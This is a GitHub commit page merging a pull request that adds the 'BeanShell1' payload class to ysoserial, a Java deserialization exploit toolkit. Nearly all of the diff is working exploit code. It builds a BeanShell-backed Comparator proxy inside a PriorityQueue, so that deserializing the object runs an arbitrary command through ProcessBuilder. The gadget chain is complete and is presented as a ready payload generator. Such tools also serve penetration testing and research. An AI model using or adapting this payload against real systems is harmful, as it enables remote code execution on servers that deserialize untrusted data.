Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #13 from pwntester/master
BeanShell exploit
- Loading branch information
Showing
3 changed files
with
59 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
package ysoserial.payloads; | ||
|
||
import bsh.Interpreter; | ||
import bsh.XThis; | ||
|
||
import java.io.*; | ||
import java.lang.reflect.Field; | ||
import java.lang.reflect.InvocationHandler; | ||
import java.lang.reflect.Proxy; | ||
import java.util.Comparator; | ||
import java.util.PriorityQueue; | ||
import ysoserial.payloads.util.Reflections; | ||
import ysoserial.payloads.annotation.Dependencies; | ||
import ysoserial.payloads.util.PayloadRunner; | ||
|
||
/** | ||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) | ||
*/ | ||
|
||
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) | ||
@Dependencies({ "org.beanshell:bsh:2.0b5" }) | ||
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> { | ||
|
||
public PriorityQueue getObject(String command) throws Exception { | ||
// BeanShell payload | ||
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}"; | ||
|
||
// Create Interpreter | ||
Interpreter i = new Interpreter(); | ||
|
||
// Evaluate payload | ||
i.eval(payload); | ||
|
||
// Create InvocationHandler | ||
XThis xt = new XThis(i.getNameSpace(), i); | ||
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); | ||
|
||
// Create Comparator Proxy | ||
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); | ||
|
||
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization) | ||
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); | ||
Object[] queue = new Object[] {1,1}; | ||
Reflections.setFieldValue(priorityQueue, "queue", queue); | ||
Reflections.setFieldValue(priorityQueue, "size", 2); | ||
|
||
return priorityQueue; | ||
} | ||
|
||
public static void main(final String[] args) throws Exception { | ||
PayloadRunner.run(BeanShell1.class, args); | ||
} | ||
} |